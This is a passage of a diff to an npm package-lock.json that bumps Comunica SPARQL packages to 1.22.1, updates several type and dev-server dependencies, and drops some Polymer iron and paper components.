"https://registry.npmjs.org/@comunica/actor-init-sparql/-/actor-init-sparql-1.22.1.tgz", + "integrity": "sha512-ZMFwJX1PNNVcWh0aKpawwyrTARlE+sKyMNvXD5ie3rwyhmrHXdEsUxDg6HWFaLtAGPfvcgufKRnxX9p/nOgkJw==", "dev": true, "requires": { "@comunica/actor-abstract-bindings-hash": "^1.22.0", "@comunica/actor-abstract-mediatyped": "^1.22.0", "@comunica/actor-context-preprocess-source-to-destination": "^1.22.0", - "@comunica/actor-http-memento": "^1.22.0", - "@comunica/actor-http-native": "^1.22.0", - "@comunica/actor-http-node-fetch": "^1.22.0", - "@comunica/actor-http-proxy": "^1.22.0", + "@comunica/actor-http-memento": "^1.22.1", + "@comunica/actor-http-native": "^1.22.1", + "@comunica/actor-http-node-fetch": "^1.22.1", + "@comunica/actor-http-proxy": "^1.22.1", "@comunica/actor-optimize-query-operation-join-bgp": "^1.22.0", "@comunica/actor-query-operation-ask": "^1.22.0", "@comunica/actor-query-operation-bgp-empty": "^1.22.0", @@ -1842,7 +1150,7 @@ "@comunica/actor-query-operation-reduced-hash": "^1.22.0", "@comunica/actor-query-operation-service": "^1.22.0", "@comunica/actor-query-operation-slice": "^1.22.0", - "@comunica/actor-query-operation-sparql-endpoint": "^1.22.0", + "@comunica/actor-query-operation-sparql-endpoint": "^1.22.1", "@comunica/actor-query-operation-union": "^1.22.0", "@comunica/actor-query-operation-update-add-rewrite": "^1.22.0", "@comunica/actor-query-operation-update-clear": "^1.22.0", @@ -1855,7 +1163,7 @@ "@comunica/actor-query-operation-update-move-rewrite": "^1.22.0", "@comunica/actor-query-operation-values": "^1.22.0", "@comunica/actor-rdf-dereference-fallback": "^1.22.0", - "@comunica/actor-rdf-dereference-http-parse": "^1.22.0", + "@comunica/actor-rdf-dereference-http-parse": "^1.22.1", "@comunica/actor-rdf-join-multi-smallest": "^1.22.0", "@comunica/actor-rdf-join-nestedloop": "^1.22.0", "@comunica/actor-rdf-join-symmetrichash": "^1.22.0", @@ -1871,7 +1179,7 @@ "@comunica/actor-rdf-parse-html-microdata": "^1.22.0", "@comunica/actor-rdf-parse-html-rdfa": "^1.22.0", "@comunica/actor-rdf-parse-html-script": "^1.22.0", - "@comunica/actor-rdf-parse-jsonld": "^1.22.0", + "@comunica/actor-rdf-parse-jsonld": "^1.22.1", "@comunica/actor-rdf-parse-n3": "^1.22.0", "@comunica/actor-rdf-parse-rdfxml": "^1.22.0", "@comunica/actor-rdf-parse-xml-rdfa": "^1.22.0", @@ -1879,15 +1187,15 @@ "@comunica/actor-rdf-resolve-hypermedia-links-queue-fifo": "^1.22.0", "@comunica/actor-rdf-resolve-hypermedia-none": "^1.22.0", "@comunica/actor-rdf-resolve-hypermedia-qpf": "^1.22.0", - "@comunica/actor-rdf-resolve-hypermedia-sparql": "^1.22.0", + "@comunica/actor-rdf-resolve-hypermedia-sparql": "^1.22.1", "@comunica/actor-rdf-resolve-quad-pattern-federated": "^1.22.0", "@comunica/actor-rdf-resolve-quad-pattern-hypermedia": "^1.22.0", "@comunica/actor-rdf-resolve-quad-pattern-rdfjs-source": "^1.22.0", "@comunica/actor-rdf-serialize-jsonld": "^1.22.0", "@comunica/actor-rdf-serialize-n3": "^1.22.0", - "@comunica/actor-rdf-update-hypermedia-patch-sparql-update": "^1.22.0", - "@comunica/actor-rdf-update-hypermedia-put-ldp": "^1.22.0", - "@comunica/actor-rdf-update-hypermedia-sparql": "^1.22.0", + "@comunica/actor-rdf-update-hypermedia-patch-sparql-update": "^1.22.1", + "@comunica/actor-rdf-update-hypermedia-put-ldp": "^1.22.1", + "@comunica/actor-rdf-update-hypermedia-sparql": "^1.22.1", "@comunica/actor-rdf-update-quads-hypermedia": "^1.22.0", "@comunica/actor-rdf-update-quads-rdfjs-store": "^1.22.0", "@comunica/actor-sparql-parse-algebra": "^1.22.0", @@ -1899,11 +1207,11 @@ "@comunica/actor-sparql-serialize-sparql-json": "^1.22.0", "@comunica/actor-sparql-serialize-sparql-tsv": "^1.22.0", "@comunica/actor-sparql-serialize-sparql-xml": "^1.22.0", - "@comunica/actor-sparql-serialize-stats": "^1.22.0", + "@comunica/actor-sparql-serialize-stats": "^1.22.1", "@comunica/actor-sparql-serialize-table": "^1.22.0", "@comunica/actor-sparql-serialize-tree": "^1.22.0", "@comunica/bus-context-preprocess": "^1.22.0", - "@comunica/bus-http": "^1.22.0", + "@comunica/bus-http": "^1.22.1", "@comunica/bus-http-invalidate": "^1.22.0", "@comunica/bus-init": "^1.22.0", "@comunica/bus-optimize-query-operation": "^1.22.0", @@ -1948,13 +1256,13 @@ } }, "@comunica/actor-init-sparql-rdfjs": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql-rdfjs/-/actor-init-sparql-rdfjs-1.22.0.tgz", - "integrity": "sha512-Vc2zRl0WvS+tcOYFmztcL3mo76hi/hIQosemwGKAN5SqZlQUdrrA/6NTBxLVg4ruFvBx595D+dPh/SaydbJNCg==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-init-sparql-rdfjs/-/actor-init-sparql-rdfjs-1.22.1.tgz", + "integrity": "sha512-mt3nimne/dZA8NSX3IraMScr8NHb8tsekYgoxomRbeWpt2oN33wMQiudh6m6yz9C6ep+R8VVkF9abjSYf/sbHg==", "dev": true, "requires": { "@comunica/actor-abstract-mediatyped": "^1.22.0", - "@comunica/actor-init-sparql": "^1.22.0", + "@comunica/actor-init-sparql": "^1.22.1", "@comunica/actor-query-operation-ask": "^1.22.0", "@comunica/actor-query-operation-bgp-empty": "^1.22.0", "@comunica/actor-query-operation-bgp-left-deep-smallest": "^1.22.0", @@ -2390,9 +1698,9 @@ } }, "@comunica/actor-query-operation-sparql-endpoint": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-query-operation-sparql-endpoint/-/actor-query-operation-sparql-endpoint-1.22.0.tgz", - "integrity": "sha512-ZmjX8YVCrq3k52liOFgopmFRm1ZQCtQrA25MM7I2fyeav1viHxMX45/m3VGNv4RdlYmnB5mJIACphrizO5j40A==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-query-operation-sparql-endpoint/-/actor-query-operation-sparql-endpoint-1.22.1.tgz", + "integrity": "sha512-+CJijvZFK6E07rsljoxqzseDu02t1W60zAZ4Y4Bm6DKv1v16WzJ99VFeTRk/UkP9MKG0zmR7dE/WASneytmsiQ==", "dev": true, "requires": { "@comunica/bus-rdf-resolve-quad-pattern": "^1.22.0", @@ -2402,7 +1710,7 @@ "@rdfjs/types": "*", "arrayify-stream": "^1.0.0", "asynciterator": "^3.2.0", - "fetch-sparql-endpoint": "^2.3.1", + "fetch-sparql-endpoint": "^2.3.2", "rdf-string": "^1.5.0", "rdf-terms": "^1.6.2", "sparqlalgebrajs": "^3.0.0" @@ -2522,9 +1830,9 @@ "dev": true }, "@comunica/actor-rdf-dereference-http-parse": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-dereference-http-parse/-/actor-rdf-dereference-http-parse-1.22.0.tgz", - "integrity": "sha512-P+eFoHZniPYdYe61wE8x3Mta5OK2pZ7hWK9z4llPuusLDT2iAmUFtfZrLBqY+FaR8/aHGUkX9ioqeUU5j5x/uw==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-dereference-http-parse/-/actor-rdf-dereference-http-parse-1.22.1.tgz", + "integrity": "sha512-EkFa7RocUeTj4Exc8m0Bi9SOC4W4wmpQNPg6BRf62yjPoQGn+CJFFkvhwg//1/hxnhATyEkFm1EZInwgT5UAkw==", "dev": true, "requires": { "cross-fetch": "^3.0.5", @@ -2666,9 +1974,9 @@ } }, "@comunica/actor-rdf-parse-jsonld": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-parse-jsonld/-/actor-rdf-parse-jsonld-1.22.0.tgz", - "integrity": "sha512-cWUQOfJ2k4Ggx3MaHspJAxO5qHWA42FDMoZlpKw00+9bNYJajVpmLqZ8vd6FWo8BhBTKUgCa27QCxlCcbJjjdA==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-parse-jsonld/-/actor-rdf-parse-jsonld-1.22.1.tgz", + "integrity": "sha512-MFFhJ6eGyO40Be80zsFKAbRjkPXr80PvCqvVKsEstdv3u9C6GFV3nqZpCwvsVCz22IPQhW+rzb8ZyasmgHnurA==", "dev": true, "requires": { "@comunica/context-entries": "^1.22.0", @@ -2744,9 +2052,9 @@ } }, "@comunica/actor-rdf-resolve-hypermedia-sparql": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-resolve-hypermedia-sparql/-/actor-rdf-resolve-hypermedia-sparql-1.22.0.tgz", - "integrity": "sha512-iAOyrnesr4GZaaOgGDiPHnGxNmjEWpVABhKTudML/b1GjMA9k9B3ApQxRqtktOG85LvetJtiXgazEKw6UFRtmg==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-resolve-hypermedia-sparql/-/actor-rdf-resolve-hypermedia-sparql-1.22.1.tgz", + "integrity": "sha512-nbvGfhHKyPBygeQyxLyUyrQen7q3JrSJi92x8TrkhUoTxiEYM0bYUvYmsciqlxLhNxH7EPpMzzf1oaiZfiqlqA==", "dev": true, "requires": { "@comunica/bus-query-operation": "^1.22.0", @@ -2754,7 +2062,7 @@ "@comunica/types": "^1.22.0", "@rdfjs/types": "*", "asynciterator": "^3.2.0", - "fetch-sparql-endpoint": "^2.3.1", + "fetch-sparql-endpoint": "^2.3.2", "rdf-data-factory": "^1.0.3", "rdf-terms": "^1.6.2", "sparqlalgebrajs": "^3.0.0" @@ -2828,9 +2136,9 @@ } }, "@comunica/actor-rdf-update-hypermedia-patch-sparql-update": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-patch-sparql-update/-/actor-rdf-update-hypermedia-patch-sparql-update-1.22.0.tgz", - "integrity": "sha512-vvvlsQo8rDL19WCTFx7xWrTQZhHJyRv9lwTzzMpp9Lp9Eyy3hgUF68rsPqIQVc3+2kW8z4vq6mvdIlTUsPPBXw==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-patch-sparql-update/-/actor-rdf-update-hypermedia-patch-sparql-update-1.22.1.tgz", + "integrity": "sha512-BgL/XNnuNjDKF8qMDWCIKLhZFxO6nolfD6IJuUULc4DeU9bXdNOrXFVnNRjg9BPCAUA5au0kK9hOyBLGWvmxJA==", "dev": true, "requires": { "cross-fetch": "^3.0.5", @@ -2838,21 +2146,21 @@ } }, "@comunica/actor-rdf-update-hypermedia-put-ldp": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-put-ldp/-/actor-rdf-update-hypermedia-put-ldp-1.22.0.tgz", - "integrity": "sha512-Q34T7G3KD1LeGtGhjOHEcPmuX2hkVA/pwRsBiBnHGeI4ERSVQZmvnjaow5Nwna7FhUmQYZ0KEABQ9GlvmlQnPw==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-put-ldp/-/actor-rdf-update-hypermedia-put-ldp-1.22.1.tgz", + "integrity": "sha512-shT8TnMeqLlyM2EDLghtrrXWOVEINfsPJquWnZDW4XvhrOR+rO+ypoiXKMT4RShqSKFLsla7uGL414Y3qhcvMw==", "dev": true, "requires": { "cross-fetch": "^3.0.5" } }, "@comunica/actor-rdf-update-hypermedia-sparql": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-sparql/-/actor-rdf-update-hypermedia-sparql-1.22.0.tgz", - "integrity": "sha512-6y2Wcg/5oBG2NK1ing+gC5zFllzLd5zhjsn/ntdU4O4cDqe/EMxTXPEW+XPIxfoPEksACMdvQCKcG8l7Z8kzrg==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-rdf-update-hypermedia-sparql/-/actor-rdf-update-hypermedia-sparql-1.22.1.tgz", + "integrity": "sha512-To9puiQLeTGsTCIDILxsNB2ih0e6RTliufaJsFY/VB1Lxi+EE/fHlkSHbaDNqhpLPJy+xJg5Rh2d4PHl1PaaEg==", "dev": true, "requires": { - "fetch-sparql-endpoint": "^2.3.1", + "fetch-sparql-endpoint": "^2.3.2", "rdf-string-ttl": "^1.1.0", "stream-to-string": "^1.2.0" } @@ -2980,9 +2288,9 @@ } }, "@comunica/actor-sparql-serialize-stats": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/actor-sparql-serialize-stats/-/actor-sparql-serialize-stats-1.22.0.tgz", - "integrity": "sha512-zUnFiaIsQ49fQorS/PzhUAEC/+euZ6vdl/h0hvn65O5VF41S8blS2m0uV/KHWtaeWPPgPxbK1xMDdsCFqijmiw==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/actor-sparql-serialize-stats/-/actor-sparql-serialize-stats-1.22.1.tgz", + "integrity": "sha512-v8OzTGRZNlh86f8C24WA3IIf8XfHQBMWJIxQsFsGeVj3jtB2ngYM7GZtr/xvcRjHooTULygcQIE4wwkW+KMlCQ==", "dev": true, "requires": { "@comunica/types": "^1.22.0", @@ -3018,13 +2326,15 @@ "dev": true }, "@comunica/bus-http": { - "version": "1.22.0", - "resolved": "https://registry.npmjs.org/@comunica/bus-http/-/bus-http-1.22.0.tgz", - "integrity": "sha512-hslwWJiu7pbPPGXye8NQnYeBoTdiPSpr51oZf4fj5jTxHPLJEbnika7+anYncQsW+amHYAmaDqJDwEQJIQYQog==", + "version": "1.22.1", + "resolved": "https://registry.npmjs.org/@comunica/bus-http/-/bus-http-1.22.1.tgz", + "integrity": "sha512-CZ0NDWZH0k0FOshuRQJzYr3Z+2ZM1vqr9ZepONuaoYDwyKaxl29xPs3hNfjSy6YawjEQP+elr/WDc3TxKIpu8g==", "dev": true, "requires": { "@comunica/context-entries": "^1.22.0", + "@types/readable-stream": "^2.3.11", "is-stream": "^2.0.0", + "readable-web-to-node-stream": "^3.0.2", "web-streams-node": "^0.4.0" } }, @@ -3356,6 +2666,26 @@ "integrity": "sha512-Ce3xE2JvTSEbASFbRbA1gAIcMcZWdS2yUYRaQbeM0nbOzaZrUYfa3ePtcriYRZOZmr+CkKA+zbjhvTpIOAYVcw==", "dev": true }, + "@endemolshinegroup/cosmiconfig-typescript-loader": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/@endemolshinegroup/cosmiconfig-typescript-loader/-/cosmiconfig-typescript-loader-3.0.2.tgz", + "integrity": "sha512-QRVtqJuS1mcT56oHpVegkKBlgtWjXw/gHNWO3eL9oyB5Sc7HBoc2OLG/nYpVfT/Jejvo3NUrD0Udk7XgoyDKkA==", + "dev": true, + "requires": { + "lodash.get": "^4", + "make-error": "^1", + "ts-node": "^9", + "tslib": "^2" + }, + "dependencies": { + "tslib": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.3.1.tgz", + "integrity": "sha512-77EbyPPpMz+FRFRuAFlWMtmgUWGe9UOG2Z25NqCwiIjRhOf5iKGuzSe5P2w1laq+FkRy4p+PCuVkJSGkzTEKVw==", + "dev": true + } + } + }, "@eslint/eslintrc": { "version": "0.4.3", "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-0.4.3.tgz", @@ -3544,6 +2874,16 @@ "lit-html": "^1.0.0" } }, + "@pawel-up/data-mock": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/@pawel-up/data-mock/-/data-mock-0.1.7.tgz", + "integrity": "sha512-1sCVyyiJvN3bAjr5ZPWs4iALchm6v1hZfmowenjabduMVxvx+dAEkeowSyL07F+wWtnFTLvRNvf7DiK6OuwzVA==" + }, + "@pawel-up/html.md": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/@pawel-up/html.md/-/html.md-0.1.0.tgz", + "integrity": "sha512-xJjiWGJUOaTZd9W5KgFfrwnjQTDT46lHs3i4zFkBi+nCGk5M/WRDX1RGEfjRAIE5BKvGn/kXeKXbjefNnT6msQ==" + }, "@polymer/font-roboto": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/@polymer/font-roboto/-/font-roboto-3.0.2.tgz", @@ -3557,14 +2897,6 @@ "@polymer/polymer": "^3.0.0" } }, - "@polymer/iron-a11y-keys-behavior": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@polymer/iron-a11y-keys-behavior/-/iron-a11y-keys-behavior-3.0.1.tgz", - "integrity": "sha512-lnrjKq3ysbBPT/74l0Fj0U9H9C35Tpw2C/tpJ8a+5g8Y3YJs1WSZYnEl1yOkw6sEyaxOq/1DkzH0+60gGu5/PQ==", - "requires": { - "@polymer/polymer": "^3.0.0" - } - }, "@polymer/iron-ajax": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/@polymer/iron-ajax/-/iron-ajax-3.0.1.tgz", @@ -3573,47 +2905,20 @@ "@polymer/polymer": "^3.0.0" } }, - "@polymer/iron-fit-behavior": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/@polymer/iron-fit-behavior/-/iron-fit-behavior-3.1.0.tgz", - "integrity": "sha512-ABcgIYqrjhmUT8tiuolqeGttF/8pd3sEymUDrO1vXbZu4FWIvoLNndrMDFvs++AGd12Mjf5pYy84NJc6dB8Vig==", - "requires": { - "@polymer/polymer": "^3.0.0" - } - }, "@polymer/iron-flex-layout": { "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@polymer/iron-flex-layout/-/iron-flex-layout-3.0.1.tgz", - "integrity": "sha512-7gB869czArF+HZcPTVSgvA7tXYFze9EKckvM95NB7SqYF+NnsQyhoXgKnpFwGyo95lUjUW9TFDLUwDXnCYFtkw==", - "requires": { - "@polymer/polymer": "^3.0.0" - } - }, - "@polymer/iron-form": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@polymer/iron-form/-/iron-form-3.0.1.tgz", - "integrity": "sha512-JwSQXHjYALsytCeBkXlY8aRwqgZuYIqzOk3iHuugb1RXOdZ7MZHyJhMDVBbscHjxqPKu/KaVzAjrcfwNNafzEA==", - "requires": { - "@polymer/iron-ajax": "^3.0.0-pre.26", - "@polymer/polymer": "^3.0.0" - } - }, - "@polymer/iron-meta": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@polymer/iron-meta/-/iron-meta-3.0.1.tgz", - "integrity": "sha512-pWguPugiLYmWFV9UWxLWzZ6gm4wBwQdDy4VULKwdHCqR7OP7u98h+XDdGZsSlDPv6qoryV/e3tGHlTIT0mbzJA==", + "resolved": "https://registry.npmjs.org/@polymer/iron-flex-layout/-/iron-flex-layout-3.0.1.tgz", + "integrity": "sha512-7gB869czArF+HZcPTVSgvA7tXYFze9EKckvM95NB7SqYF+NnsQyhoXgKnpFwGyo95lUjUW9TFDLUwDXnCYFtkw==", "requires": { "@polymer/polymer": "^3.0.0" } }, - "@polymer/iron-overlay-behavior": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/@polymer/iron-overlay-behavior/-/iron-overlay-behavior-3.0.3.tgz", - "integrity": "sha512-Q/Fp0+uOQQ145ebZ7T8Cxl4m1tUKYjyymkjcL2rXUm+aDQGb1wA1M1LYxUF5YBqd+9lipE0PTIiYwA2ZL/sznA==", + "@polymer/iron-form": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/@polymer/iron-form/-/iron-form-3.0.1.tgz", + "integrity": "sha512-JwSQXHjYALsytCeBkXlY8aRwqgZuYIqzOk3iHuugb1RXOdZ7MZHyJhMDVBbscHjxqPKu/KaVzAjrcfwNNafzEA==", "requires": { - "@polymer/iron-a11y-keys-behavior": "^3.0.0-pre.26", - "@polymer/iron-fit-behavior": "^3.0.0-pre.26", - "@polymer/iron-resizable-behavior": "^3.0.0-pre.26", + "@polymer/iron-ajax": "^3.0.0-pre.26", "@polymer/polymer": "^3.0.0" } }, @@ -3625,14 +2930,6 @@ "@polymer/polymer": "^3.0.0" } }, - "@polymer/iron-resizable-behavior": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@polymer/iron-resizable-behavior/-/iron-resizable-behavior-3.0.1.tgz", - "integrity": "sha512-FyHxRxFspVoRaeZSWpT3y0C9awomb4tXXolIJcZ7RvXhMP632V5lez+ch5G5SwK0LpnAPkg35eB0LPMFv+YMMQ==", - "requires": { - "@polymer/polymer": "^3.0.0" - } - }, "@polymer/paper-progress": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/@polymer/paper-progress/-/paper-progress-3.0.1.tgz", @@ -3654,17 +2951,6 @@ "@polymer/polymer": "^3.0.0" } }, - "@polymer/paper-toast": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@polymer/paper-toast/-/paper-toast-3.0.1.tgz", - "integrity": "sha512-pizuogzObniDdICUc6dSLrnDt2VzzoRne1gCmbD6sfOATVv5tc8UfrqhA2iHngbNBEbniBiciS3iogdp5KTVUQ==", - "requires": { - "@polymer/iron-a11y-announcer": "^3.0.0-pre.26", - "@polymer/iron-fit-behavior": "^3.0.0-pre.26", - "@polymer/iron-overlay-behavior": "^3.0.0-pre.27", - "@polymer/polymer": "^3.0.0" - } - }, "@polymer/polymer": { "version": "3.4.1", "resolved": "https://registry.npmjs.org/@polymer/polymer/-/polymer-3.4.1.tgz", @@ -3735,9 +3021,9 @@ } }, "@sinonjs/samsam": { - "version": "5.3.1", - "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-5.3.1.tgz", - "integrity": "sha512-1Hc0b1TtyfBu8ixF/tpfSHTVWKwCBLY4QJbkgnE7HcwyvT2xArDxb4K7dMgqRm3szI+LJbzmW/s4xxEhv6hwDg==", + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-6.0.2.tgz", + "integrity": "sha512-jxPRPp9n93ci7b8hMfJOFDPRLFYadN6FSpeROFTR4UNF4i5b+EK6m4QXPO46BDhFgRy1JuS87zAnFOzCUwMJcQ==", "dev": true, "requires": { "@sinonjs/commons": "^1.6.0", @@ -3777,9 +3063,9 @@ } }, "@types/chai": { - "version": "4.2.21", - "resolved": "https://registry.npmjs.org/@types/chai/-/chai-4.2.21.tgz", - "integrity": "sha512-yd+9qKmJxm496BOV9CMNaey8TWsikaZOwMRwPHQIjcOJM9oV+fi9ZMNw3JsVnbEEbo2gRTDnGEBv8pjyn67hNg==", + "version": "4.2.22", + "resolved": "https://registry.npmjs.org/@types/chai/-/chai-4.2.22.tgz", + "integrity": "sha512-tFfcE+DSTzWAgifkjik9AySNqIyNoYwmR+uecPwwD/XRNfvOjmC/FjCxpiUGDkDVDphPfCUecSQVFw+lN3M3kQ==", "dev": true }, "@types/chai-dom": { @@ -3841,9 +3127,9 @@ } }, "@types/debounce": { - "version": "1.2.0", - "resolved": "https://registry.npmjs.org/@types/debounce/-/debounce-1.2.0.tgz", - "integrity": "sha512-bWG5wapaWgbss9E238T0R6bfo5Fh3OkeoSt245CM7JJwVwpw6MEBCbIxLq5z8KzsE3uJhzcIuQkyiZmzV3M/Dw==", + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@types/debounce/-/debounce-1.2.1.tgz", + "integrity": "sha512-epMsEE85fi4lfmJUH/89/iV/LI+F5CvNIvmgs5g5jYFPfhO2S/ae8WSsLOKWdwtoaZw9Q2IhJ4tQ5tFCcS/4HA==", "dev": true }, "@types/estree": { @@ -3992,9 +3278,9 @@ } }, "@types/node": { - "version": "16.9.1", - "resolved": "https://registry.npmjs.org/@types/node/-/node-16.9.1.tgz", - "integrity": "sha512-QpLcX9ZSsq3YYUUnD3nFDY8H7wctAhQj/TFKL8Ya8v5fMm3CFXxo8zStsLAl780ltoYoo1WvKUVGBQK+1ifr7g==", + "version": "16.10.1", + "resolved": "https://registry.npmjs.org/@types/node/-/node-16.10.1.tgz", + "integrity": "sha512-4/Z9DMPKFexZj/Gn3LylFgamNKHm4K3QDi0gz9B26Uk0c8izYf97B5fxfpspMNkWlFupblKM/nV8+NA9Ffvr+w==", "dev": true }, "@types/normalize-package-data": { @@ -4036,6 +3322,16 @@ "integrity": "sha512-EEhsLsD6UsDM1yFhAvy0Cjr6VwmpMWqFBCb9w07wVugF7w9nfajxLuVmngTIpgS6svCnm6Vaw+MZhoDCKnOfsw==", "dev": true }, + "@types/readable-stream": { + "version": "2.3.11", + "resolved": "https://registry.npmjs.org/@types/readable-stream/-/readable-stream-2.3.11.tgz", + "integrity": "sha512-0z+/apYJwKFz/RHp6mOMxz/y7xOvWPYPevuCEyAY3gXsjtaac02E26RvxA+I96rfvmVH/dEMGXNvyJfViR1FSQ==", + "dev": true, + "requires": { + "@types/node": "*", + "safe-buffer": "*" + } + }, "@types/resolve": { "version": "1.17.1", "resolved": "https://registry.npmjs.org/@types/resolve/-/resolve-1.17.1.tgz", @@ -4062,9 +3358,9 @@ } }, "@types/sinon": { - "version": "10.0.2", - "resolved": "https://registry.npmjs.org/@types/sinon/-/sinon-10.0.2.tgz", - "integrity": "sha512-BHn8Bpkapj8Wdfxvh2jWIUoaYB/9/XhsL0oOvBfRagJtKlSl9NWPcFOz2lRukI9szwGxFtYZCTejJSqsGDbdmw==", + "version": "10.0.4", + "resolved": "https://registry.npmjs.org/@types/sinon/-/sinon-10.0.4.tgz", + "integrity": "sha512-fOYjrxQv8zJsqOY6V6ecP4eZhQBxtY80X0er1VVnUIAIZo74jHm8e1vguG5Yt4Iv8W2Wr7TgibB8MfRe32k9pA==", "dev": true, "requires": { "@sinonjs/fake-timers": "^7.1.0" @@ -4126,9 +3422,9 @@ } }, "@types/yargs": { - "version": "17.0.2", - "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.2.tgz", - "integrity": "sha512-JhZ+pNdKMfB0rXauaDlrIvm+U7V4m03PPOSVoPS66z8gf+G4Z/UW8UlrVIj2MRQOBzuoEvYtjS0bqYwnpZaS9Q==", + "version": "17.0.3", + "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-17.0.3.tgz", + "integrity": "sha512-K7rm3Ke3ag/pAniBe80A6J6fjoqRibvCrl3dRmtXV9eCEt9h/pZwmHX9MzjQVUc/elneQTL4Ky7XKorC71Lmxw==", "dev": true, "requires": { "@types/yargs-parser": "*" @@ -4151,9 +3447,9 @@ } }, "@web/browser-logs": { - "version": "0.2.4", - "resolved": "https://registry.npmjs.org/@web/browser-logs/-/browser-logs-0.2.4.tgz", - "integrity": "sha512-11DAAv8ZqbO267dwBLXtvmDoJXXucG5n+i9oQQEEVgbgXKOvK/7eqGhrSDKuZ7TTTkSci9fW7ZcuKFtaKskAIA==", + "version": "0.2.5", + "resolved": "https://registry.npmjs.org/@web/browser-logs/-/browser-logs-0.2.5.tgz", + "integrity": "sha512-Qxo1wY/L7yILQqg0jjAaueh+tzdORXnZtxQgWH23SsTCunz9iq9FvsZa8Q5XlpjnZ3vLIsFEuEsCMqFeohJnEg==", "dev": true, "requires": { "errorstacks": "^2.2.0" @@ -4169,74 +3465,40 @@ } }, "@web/dev-server": { - "version": "0.1.22", - "resolved": "https://registry.npmjs.org/@web/dev-server/-/dev-server-0.1.22.tgz", - "integrity": "sha512-8PZxz2PGK9Ndr0C2LtWHrTzPKkDYTP/IvEMs9nrIebQWxvVjxI/HpvNfli3ivvCtvvcJFI26FvfWaAWDq14GgQ==", + "version": "0.1.25", + "resolved": "https://registry.npmjs.org/@web/dev-server/-/dev-server-0.1.25.tgz", + "integrity": "sha512-9ZMUDDIP3QzciF7aoY5x8plOwx2zCWbX2OfPrryKxQx/tQmHb+Z+Z6nLvGtNZZ2KAfHIxhXJXOduRBHxTgIkzg==", "dev": true, "requires": { "@babel/code-frame": "^7.12.11", "@rollup/plugin-node-resolve": "^11.0.1", "@types/command-line-args": "^5.0.0", "@web/config-loader": "^0.1.3", - "@web/dev-server-core": "^0.3.14", - "@web/dev-server-rollup": "^0.3.9", + "@web/dev-server-core": "^0.3.16", + "@web/dev-server-rollup": "^0.3.11", "camelcase": "^6.2.0", - "chalk": "^4.1.0", "command-line-args": "^5.1.1", "command-line-usage": "^6.1.1", "debounce": "^1.2.0", "deepmerge": "^4.2.2", "ip": "^1.1.5", + "nanocolors": "^0.2.1", "open": "^8.0.2", "portfinder": "^1.0.28" }, "dependencies": { - "ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", - "dev": true, - "requires": { - "color-convert": "^2.0.1" - } - }, "camelcase": { "version": "6.2.0", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.0.tgz", "integrity": "sha512-c7wVvbw3f37nuobQNtgsgG9POC9qMbNuMQmTCqZv23b6MIz0fcYpBiOlv9gEN/hdLdnZTDQhg6e9Dq5M1vKvfg==", "dev": true - }, - "chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", - "dev": true, - "requires": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" - } - }, - "color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": 